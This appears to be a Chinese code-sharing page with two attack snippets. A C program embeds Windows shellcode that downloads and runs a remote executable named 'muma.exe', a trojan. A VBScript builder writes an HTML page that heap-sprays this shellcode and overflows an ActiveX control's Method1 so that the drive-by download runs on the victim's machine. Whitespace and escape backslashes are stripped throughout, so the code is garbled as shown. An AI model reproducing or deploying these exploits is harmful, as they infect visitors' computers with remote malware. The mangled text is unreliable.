C++代码
复制代码 代码如下:
#include<stdio.h>
#include<string.h>
unsignedcharshellcode[]=
"xEBx54x8Bx75x3Cx8Bx74x35x78x03xF5x56x8Bx76x20x03"
"xF5x33xC9x49x41xADx33xDBx36x0FxBEx14x28x38xF2x74"
"x08xC1xCBx0Dx03xDAx40xEBxEFx3BxDFx75xE7x5Ex8Bx5E"
"x24x03xDDx66x8Bx0Cx4Bx8Bx5Ex1Cx03xDDx8Bx04x8Bx03"
"xC5xC3x75x72x6Cx6Dx6Fx6Ex2Ex64x6Cx6Cx00x43x3Ax5C"
"x55x2ex65x78x65x00x33xC0x64x03x40x30x78x0Cx8Bx40"
"x0Cx8Bx70x1CxADx8Bx40x08xEBx09x8Bx40x34x8Dx40x7C"
"x8Bx40x3Cx95xBFx8Ex4Ex0ExECxE8x84xFFxFFxFFx83xEC"
"x04x83x2Cx24x3CxFFxD0x95x50xBFx36x1Ax2Fx70xE8x6F"
"xFFxFFxFFx8Bx54x24xFCx8Dx52xBAx33xDBx53x53x52xEB"
"x24x53xFFxD0x5DxBFx98xFEx8Ax0ExE8x53xFFxFFxFFx83"
"xECx04x83x2Cx24x62xFFxD0xBFx7ExD8xE2x73xE8x40xFF"
"xFFxFFx52xFFxD0xE8xD7xFFxFFxFF"
"http://fenggou.net/muma.exe";
intmain()
{
void(*code)();//把ShellCode转换成一个参数为空，返回为空的函数指针，并调用
*(int*)&code=shellcode;
code();
}
vbs代码
复制代码 代码如下:
exeurl=InputBox("Pleaseinputyouwantdown&execurl：","输入","http://jb51.net/muma.exe")
ifexeurl<>""then
code="xEBx54x8Bx75x3Cx8Bx74x35x78x03xF5x56x8Bx76x20x03xF5x33xC9x49x41xADx33xDBx36x0FxBEx14x28x38xF2x74x08xC1xCBx0Dx03xDAx40xEBxEFx3BxDFx75xE7x5Ex8Bx5Ex24x03xDDx66x8Bx0Cx4Bx8Bx5Ex1Cx03xDDx8Bx04x8Bx03xC5xC3x75x72x6Cx6Dx6Fx6Ex2Ex64x6Cx6Cx00x43x3Ax5Cx55x2ex65x78x65x00x33xC0x64x03x40x30x78x0Cx8Bx40x0Cx8Bx70x1CxADx8Bx40x08xEBx09x8Bx40x34x8Dx40x7Cx8Bx40x3Cx95xBFx8Ex4Ex0ExECxE8x84xFFxFFxFFx83xECx04x83x2Cx24x3CxFFxD0x95x50xBFx36x1Ax2Fx70xE8x6FxFFxFFxFFx8Bx54x24xFCx8Dx52xBAx33xDBx53x53x52xEBx24x53xFFxD0x5DxBFx98xFEx8Ax0ExE8x53xFFxFFxFFx83xECx04x83x2Cx24x62xFFxD0xBFx7ExD8xE2x73xE8x40xFFxFFxFFx52xFFxD0xE8xD7xFFxFFxFF"&Unicode(exeurl&Chr(00)&Chr(00))
FunctionUnicode(str1)
Dimstr,temp
str=""
Fori=1tolen(str1)
temp=Hex(AscW(Mid(str1,i,1)))
Iflen(temp)<5Thentemp=right("0000"&temp,2)
str=str&"x"&temp
Next
Unicode=str
EndFunction
functionreplaceregex(str)
setregex=newregExp
regex.pattern="x(..)x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
endFunction
setfso=createObject("scripting.filesystemobject")
iffso.FileExists("jb51.htm")then
fso.deleteFile"jb51.htm",True
endIf
setfileS=fso.opentextfile("jb51.htm",8,true)
fileS.writeline"<html>"
fileS.writeline"<title>Sina</title>"
fileS.writeline"<objectclassid=""clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D""id='target'></object>"
fileS.writeline"<body>"
fileS.writeline"<SCRIPTlanguage=""JavaScript"">"
fileS.writeline"varshellcode=unescape("""&replaceregex(code)&""");"
fileS.writeline"varbigblock=unescape(""%u9090%u9090"");"
fileS.writeline"varheadersize=20;"
fileS.writeline"varslackspace=headersize+shellcode.length;"
fileS.writeline"while(bigblock.length<slackspace)bigblock+=bigblock;"
fileS.writeline"fillblock=bigblock.substring(0,slackspace);"
fileS.writeline"block=bigblock.substring(0,bigblock.length-slackspace);"
fileS.writeline"while(block.length+slackspace<0x40000)block=block+block+fillblock;"
fileS.writeline"memory=newArray();"
fileS.writeline"for(x=0;x<300;x++)memory[x]=block+shellcode;"
fileS.writeline"varbuffer='';"
fileS.writeline"while(buffer.length<218)buffer+='x0ax0ax0ax0a';"
fileS.writeline"target.Method1(buffer);"
fileS.writeline"</script>"
fileS.writeline"</body>"
fileS.writeline"</html>"
files.Close
Setfso=nothing
endif